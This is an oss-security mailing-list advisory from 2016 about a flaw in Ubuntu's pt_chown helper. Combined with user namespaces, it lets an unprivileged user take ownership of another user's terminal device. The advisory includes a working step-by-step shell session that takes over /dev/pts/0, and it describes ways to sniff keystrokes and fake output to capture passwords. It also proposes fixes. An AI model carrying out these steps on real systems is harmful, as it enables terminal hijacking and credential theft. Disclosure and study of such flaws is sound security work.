[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 23 Feb 2016 12:03:54 +0000
From: halfdog <me@...fdog.net>
To: oss-security@...ts.openwall.com
Subject: Access to /dev/pts devices via pt_chown and user namespaces
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Sending content from [0] also to oss-security as requested last time:
Problem description:
====================
With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change
ownership of slave pts devices in /dev/pts to the same uid holding the
master file descriptor for the slave. This is done using the pt_chown
SUID binary, which invokes the ptsname function on the master-fd, thus
again performing a TIOCGPTN ioctl to get the slave pts number. Using
the result from the ioctl, the pathname of the slave pts is
constructed and chown invoked on it, see login/programs/pt_chown.c:
pty = ptsname (PTY_FILENO);
if (pty == NULL)
...
/* Get the group ID of the special `tty' group. */
p = getgrnam (TTY_GROUP);
gid = p ? p->gr_gid : getgid ();
/* Set the owner to the real user ID, and the group to that special
group ID. */
if (chown (pty, getuid (), gid) < 0)
return FAIL_EACCES;
/* Set the permission mode to readable and writable by the owner,
and writable by the group. */
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
return FAIL_EACCES;
return 0;
The logic above is severely flawed, when there can be more than one
master/slave pair having the same number and thus same name. But this
condition can be easily created by creating an user namespace,
mounting devpts with the newinstance option, create master and slave
pts pairs until the number overlaps with a target pts outside the
namespace on the host, where there is interest to gain ownership and
then invoke pt_chown.
Methods:
========
Exploitation is trivial: At first use any user namespace demo to
create the namespace needed, e.g. UserNamespaceExec.c and work with
standard shell commands, e.g. to take over /dev/pts/0:
test# who am I
test pts/1 2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx
Use a second shell to continue:
test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0
On systems where the TIOCSTI-ioctl is not prohibited, the tools from
TtyPushbackPrivilegeEscalation to directly inject code into a shell
using the pts device. This is not the case at least on Ubuntu Wily.
But as reading and writing to the pts is allowed, the malicious user
can not intercept all keystrokes and display faked output from
commands never really executed. Thus he could lure the user into a)
change his password or attempt to invoke su/sudo or b) simulate a
situation, where user's next step is predictable and risky and then
stop reading the pts, thus making user to execute a command in
completely unexpected way.
Results, Discussion:
====================
As already mentioned in [1], exposure of essential OS functionality,
previously just invoked by really privileged processes, to now
unprivileged users via user namespaces greatly increases the attack
surface and thus is a very interesting target for exploit development.
In my opinion, this security bug should be fixed two-fold: At first,
kernel should prevent the TIOCGPTN ioctl when invoked called by a
process within one namespace but acting on a filedescriptor from a
devpts instance mounted in a different namespace. Additionally
pt_chown should check via readlink and stat, that the passed file
descriptor really was from the /dev/ptmx or /dev/pts/ptmx device
present in the same namespace as the /dev/pts/[num] device is
residing. This of course is only relevant if pt_chown is going to
survive on recent namespace aware systems.
Timeline:
=========
20151220: Discovery
20151227: Report at Ubuntu Launchpad1529486
20160104: Report to distros list
20160122: Patch to disable unprivileged userns due to this and
other issues LKML
20160222: CRD and publication
References:
===========
[0]
http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/
[1]
http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
hd
- --
http://www.halfdog.net/
PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iEYEARECAAYFAlbMSpgACgkQxFmThv7tq+53VgCdEHpGBl00dQi23z1jEz+wG+dk
lK4AniINDh7dx9Oe6NXn5KiaFBGstw5O
=scxD
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
